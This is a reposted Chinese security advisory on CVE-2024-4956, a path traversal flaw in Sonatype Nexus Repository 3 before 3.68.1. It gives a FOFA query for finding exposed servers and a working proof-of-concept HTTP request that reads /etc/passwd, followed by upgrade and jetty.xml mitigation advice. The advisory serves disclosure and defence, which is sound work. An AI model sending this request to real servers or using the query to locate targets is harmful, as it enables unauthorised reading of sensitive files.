Sonatype Nexus Repository 3 路径遍历漏洞(CVE-2024-4956)

admin 2024年5月25日23:20:26评论17 views字数 1444阅读4分48秒阅读模式
0x02

产品介绍

Sonatype Nexus Repository 是美国Sonatype公司的一款存储库管理器,用于存储和分发软件组件、构建工件和 Docker 容器。它支持多种包格式,与 CI/CD 工具集成,并提供安全性和合规性功能
0x03

漏洞威胁

2024年5月,Nexus Repository官方Sonatype发布了新补丁,修复了一处路径穿越漏洞CVE-2024-4956。经分析,该漏洞可以通过特定的路径请求来未授权访问系统文件,进而可能导致信息泄露。该漏洞无前置条件且利用简单,建议受影响的客户尽快修复漏洞。
Nexus Repository仅依赖Jetty自带的方法进行请求路径的安全检查,而未进行深入的验证,导致攻击者可以利用路径穿越攻击访问文件系统上的任意位置。
成功利用这一漏洞的攻击者可以读取Nexus Repository服务器上的任意文件,这可能包括配置文件、数据库备份以及其他敏感数据。此外,特定情况下如果攻击者能够进一步利用服务器上的其他配置或漏洞,可能会完全控制受影响的服务器。
影响范围:
Sonatype Nexus Repository 3 < 3.68.1
0x04

漏洞环境

FOFA:

app="Nexus-Repository-Manager"

Sonatype Nexus Repository 3 路径遍历漏洞(CVE-2024-4956)

0x05

漏洞复现

POC

GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1Host: your-ipAccept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36Connection: close

Sonatype Nexus Repository 3 路径遍历漏洞(CVE-2024-4956)

0x06

批量脚本验证

Nuclei验证脚本已发布
知识星球:冷漠安全

Sonatype Nexus Repository 3 路径遍历漏洞(CVE-2024-4956)

0x07

修复建议

目前官方已有可更新版本,建议受影响用户升级至最新版本:

Sonatype Nexus Repository 3 < 3.68.1

官方下载地址:

https://help.sonatype.com/repomanager3/download

缓解方案:

对于 Sonatype Nexus Repository 的每个实例,编辑

(basedir)/etc/jetty/jetty.xml 并从文件中删除这一行:

<Set name="resourceBase"><Property name="karaf.base"/>/public</Set>

重新启动 Nexus 存储库以使更改生效。

注意:此更改可防止利用该漏洞,但也会防止应用程序从 (installdir)/public 目录加载文件,可能会导致轻微的UI渲染问题,而不会影响核心产品功能。

如果对 Nexus Repository 的访问受 AWS WAF 规则保护,则 GenericLFI_URIPATH 规则可以防范此漏洞。

https://docs.aws.amazon.com/waf/latest/developerguide/aws-managed-rule-groups-baseline.html

原文始发于微信公众号(冷漠安全):Sonatype Nexus Repository 3 路径遍历漏洞(CVE-2024-4956)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月25日23:20:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Sonatype Nexus Repository 3 路径遍历漏洞(CVE-2024-4956)http://cn-sec.com/archives/2778916.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息